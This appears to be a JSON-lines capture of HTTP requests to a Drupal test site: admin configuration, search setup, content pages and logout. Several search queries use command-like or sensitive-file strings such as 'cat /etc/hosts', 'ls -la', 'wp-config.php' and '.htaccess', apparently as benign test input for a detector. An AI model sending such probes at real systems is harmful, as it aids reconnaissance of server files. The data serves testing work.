{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/user/1?check_logged_in=1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=block%3Ablock%3Dolivero_site_branding%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_main_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Dmain%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_account_menu%3Alangcode%3Den%7Cmenu%3Amenu%3Daccount%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_page_title%3Alangcode%3Den&ids%5B%5D=block%3Ablock%3Dolivero_powered%3Alangcode%3Den&tokens%5B%5D=1rv_5u0s4iGV_AWmQmPdRm4CsxIu8wsjE8sFkt9yGF4&tokens%5B%5D=8Gi0ikQVIh2gC601Y5UBe2vi21hWy8qqpz--u2aRwZU&tokens%5B%5D=henkHDCYz37bUB9MGiVxhW9dClN1HHpXLkE9blnvU8I&tokens%5B%5D=pGkK5C6k5HhOIlpSVObsmKdf5DVWqjhEzJfvUSZdanw&tokens%5B%5D=jmjvcBoCtAymF3-B_C5BHjXRBqYcwKstu9qZq-rxCDw"}
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=node_search&op=Add+search+page&form_build_id=form-h9TNUOku6qlPzCQIfLOM6VobwiD7LjgYKi4l8e6-n8I&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
{"method": "GET", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/search/pages/add/node_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/node_search", "Cookie: SESSexample=example-session-value"], "body": "label=ContentContent&id=content&path=node&form_build_id=form-WUJFS4YPNPKnEeJoXCUT_dOzqiNC1753LO8pTBEuVRw&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
{"method": "POST", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": "cron_limit=100&minimum_word_size=3&overlap_cjk=1&search_type=user_search&op=Add+search+page&entities%5Bcontent%5D%5Bweight%5D=-10&form_build_id=form-zkfBqVKODA5_wbOFsX_3NFPhSC_gnINh2M7rHYmFSwQ&form_token=iGIiBHs6fcxoEK9qZxxFkjh3rbC2M9Y2R_JRat7N93c&form_id=search_admin_settings"}
{"method": "GET", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/search/pages/add/user_search", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/search/pages/add/user_search", "Cookie: SESSexample=example-session-value"], "body": "label=UsersUsers&id=users&path=user&form_build_id=form-qdd4t_ZEijkL16Cm3Mjpt4ADl-oOomMwZAbvMbuCL84&form_token=ttZsmIX1d92dXP47AP1OI3G9wC0R501kWB_G2nlqxTo&form_id=search_page_add_form&op=Save"}
{"method": "GET", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/config/people/accounts", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/people/accounts", "Cookie: SESSexample=example-session-value"], "body": "anonymous=Anonymous&user_register=visitors&user_email_verification=1&user_password_strength=1&user_cancel_method=user_cancel_block&mail_notification_address=&user_mail_register_admin_created_subject=An+administrator+created+an+account+for+you+at+%5Bsite%3Aname%5D&user_mail_register_admin_created_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AA+site+administrator+at+%5Bsite%3Aname%5D+has+created+an+account+for+you.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_register_pending_approval_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29&user_mail_register_pending_approval_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+Your+application+for+an+account+is+currently+pending+approval.+Once+it+has+been+approved%2C+you+will+receive+another+email+containing+information+about+how+to+log+in%2C+set+your+password%2C+and+other+details.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&register_pending_approval_admin_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28pending+admin+approval%29&register_pending_approval_admin_body=%5Buser%3Adisplay-name%5D+has+applied+for+an+account.%0D%0A%0D%0A%5Buser%3Aedit-url%5D&user_mail_register_no_approval_required_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_register_no_approval_required_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AThank+you+for+registering+at+%5Bsite%3Aname%5D.+You+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aname%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_activated_notify=1&user_mail_status_activated_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28approved%29&user_mail_status_activated_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+at+%5Bsite%3Aname%5D+has+been+activated.%0D%0A%0D%0AYou+may+now+log+in+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Aone-time-login-url%5D%0D%0A%0D%0AThis+link+can+only+be+used+once+to+log+in+and+will+lead+you+to+a+page+where+you+can+set+your+password.%0D%0A%0D%0AAfter+setting+your+password%2C+you+will+be+able+to+log+in+at+%5Bsite%3Alogin-url%5D+in+the+future+using%3A%0D%0A%0D%0Ausername%3A+%5Buser%3Aaccount-name%5D%0D%0Apassword%3A+Your+password%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_blocked_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28blocked%29&user_mail_status_blocked_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+blocked.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_cancel_confirm_subject=Account+cancellation+request+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D&user_mail_cancel_confirm_body=%5Buser%3Adisplay-name%5D%0D%0A%0D%0AA+request+to+cancel+your+account+has+been+made+at+%5Bsite%3Aname%5D.%0D%0A%0D%0AYou+may+now+cancel+your+account+on+%5Bsite%3Aurl-brief%5D+by+clicking+this+link+or+copying+and+pasting+it+into+your+browser%3A%0D%0A%0D%0A%5Buser%3Acancel-url%5D%0D%0A%0D%0ANOTE%3A+The+cancellation+of+your+account+is+not+reversible.%0D%0A%0D%0AThis+link+expires+in+one+day+and+nothing+will+happen+if+it+is+not+used.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_status_canceled_subject=Account+details+for+%5Buser%3Adisplay-name%5D+at+%5Bsite%3Aname%5D+%28canceled%29&user_mail_status_canceled_body=%5Buser%3Adisplay-name%5D%2C%0D%0A%0D%0AYour+account+on+%5Bsite%3Aname%5D+has+been+canceled.%0D%0A%0D%0A--++%5Bsite%3Aname%5D+team&user_mail_password_reset_subject=Replacement+login+informaLine truncated
{"method": "GET", "target": "/media/add/image", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/search", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/access-denied", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/reports/page-not-found", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/comment/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/comment/1/delete", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/media/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/media", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/taxonomy/term/1", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dtaxonomy_term%3Alocation%3Dpage%26name%3Dtaxonomy_term%26display_id%3Dpage_1%26langcode%3Den&ids%5B%5D=taxonomy_term%3Ataxonomy_term%3D1%3Achanged%3D1794214658%26langcode%3Den&ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214664%26langcode%3Den&tokens%5B%5D=GAe0zLesmOPq7bQZ_NH5jfUk6MU99eEngNvruqUxOgw&tokens%5B%5D=rydUkwhJOkTb6iVeuq6z0HGrGVXmL37cXZOt5fmvGkY&tokens%5B%5D=gbyDF1Z3LcCvTyCIXXmz1gj9CG3LaEd37N1nZ2PpLNo"}
{"method": "GET", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=hello%20world&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=python3&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=powershell&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=ls%20-la&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=.htaccess&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=wp-config.php&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=docker-compose.yml", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=docker-compose.yml&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=cat%20%2Fetc%2Fhosts", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=cat%20%2Fetc%2Fhosts&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/user?keys=SELECT%20rows%20FROM%20table", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/search/node?keys=SELECT%20rows%20FROM%20table&page=1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-2mqij9gEz7sEEx0AFXDMNhEi7UGMmIKDKOtaH__AdcM&form_token=4rgwkD4H8ojOv1RvJymJhN4_mA6DPv6hOdwHxXCOjMM&form_id=user_logout_confirm&op=Log+out"}
{"method": "GET", "target": "/search?keys=hello%20world", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=powershell", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=ls%20-la", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
{"method": "GET", "target": "/search?keys=wp-config.php", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"], "body": ""}
